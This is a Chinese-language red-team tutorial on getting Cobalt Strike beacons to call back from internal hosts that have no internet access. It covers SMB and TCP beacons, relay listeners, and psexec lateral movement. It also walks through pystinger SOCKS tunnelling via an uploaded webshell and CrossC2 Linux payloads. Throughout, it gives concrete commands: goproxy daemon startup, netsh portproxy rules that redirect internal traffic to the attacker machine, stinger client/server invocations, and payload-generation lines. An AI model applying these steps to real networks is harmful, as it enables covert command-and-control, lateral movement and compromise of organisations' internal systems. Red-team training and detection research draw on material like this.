CS不出网各种上线姿势
0x00 SMB Beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
适用条件:
这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。
派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的 Listener>上线
使用插件,或自带端口扫描,扫描内网机器
选择其中一个网段进行扫描探针
转到视图,选择目标,成功显示扫描到的主机信息
使用psexec 进行横向渗透
会话选择跟需要横向的主机在同一域内(注:使用SMB横向时需要选择高权限会话)
成功上线(横向成功)
0x01 中转 Listener
中转listener(Reverse TCP Beacon),其实和方法一是类似的
然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener
0x02 使用HTTP代理
使用goproxy项目做代理,项目地址(用goproxy做代理中转机器不需要上线即可):
https://github.com/snail007/goproxy
proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
#上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理
netsh interface portproxy add v4tov4 listenaddress=192.168.3.31 listenport=822 connectaddress=192.168.31.60 connectport=8080
#用netsh命令将访问内网ip 192.168.3.31的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.31.60的8080端口
netsh interface portproxy show all #查看转发规则
netsh interface portproxy reset #清除所有规则规则
创建listener,配置如下
生成stageless payload
在业务服务器上执行,成功上线
注:用了一下怎么就提示机器过期?
0x03 TCP Beacon(正向)
和SMB Beacon比较类似。也需要一个父beacon
SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些要求显式 stager的用户驱动的攻击(比如: Attacks → Packages、Attacks → Web Drive-by )
生成一个tcp beacon
使用该beacon生成一个stageless形式的木马
connect [ip address] [port] #成功上线
0x04 pystinger 正向 Socks4a 代理
pystinger 可通过 webshell 实现ss4代理、端口映射。
由于稳定性、速度一般,不建议优先使用,在常规正向代理没法用的时候或者想在不出网的机器上C2,可以尝试。
github地址:https://github.com/FunnyWolf/pystinger
上传proxy.xxx到WEB服务器网站目录,正常访问返回UTF-8
start stinger_server.exe 0.0.0.0 #上传stinger_server.exe到跳板机(web服务器)并执行
./stinger_client -w http://192.168.31.60/proxy.xxx -l 127.0.0.1 -p 60000 # 攻击机上执行
RAT Config 配置:
设置listener为127.0.0.1:60020,payload连接的是127.0.0.1:60020,相当于通过proxy.xxx将web站点的60020端口映射到攻击机本地的60020端口
此时已经将web服务器的60020端口转发到vps(Teamserver)的60020端口上了
CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020
使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.3.32 即可成功上线
0x05 CrossC2 上线Linux
Cross C2是一个支持Linux & MacOS系统的拓展插件,目的就是上线Linux主机
项目地址:https://github.com/gloxec/CrossC2
配置CrossC2(客户端):下载主文件CrossC2.cna、genCrossC2.Win.exe(如果操作系统是Windows, 下载genCrossC2.Win.exe),然后CS安装脚本文件,并在脚本文件中设置genCrossC2.Linux的路径
加载该插件
复制服务端上cobaltstrike目录下的 .cobaltstrike.beacon_keys到本地目录下。当然位置可以随意调,主要存在这个文件,且在生成payload的时候会寻找该文件(这里直接放在CrossC2目录)
注:因为我本地Cobalt Strike 4.4客户端运行在windows操作系统上,对应也应该下载genCrossC2.Win.exe,且.cobaltstrike.beacon_keys要在启动Teamserver服务器的时候才会生成的
创建https监听器 #CrossC2暂时只支持HTTPS的监听器
生成个payload
注:这里直接生成没成功,故用命令行生成了
genCrossC2.Win.exe <cobaltstrike地址><https的端口> <秘钥文件> null Linux x64 <输出路径>
genCrossC2.Win.exe 192.168.31.31 443 cobaltstrike.beacon_keys null Linux x64 128533.cs
生成之后,上传到Linux机器,运行,即可上线
中转机器成功上线
参考链接
https://forum.butian.net/share/1644
https://www.jianshu.com/p/75404a5e0002
https://blog.csdn.net/qq_38963246/article/details/115300897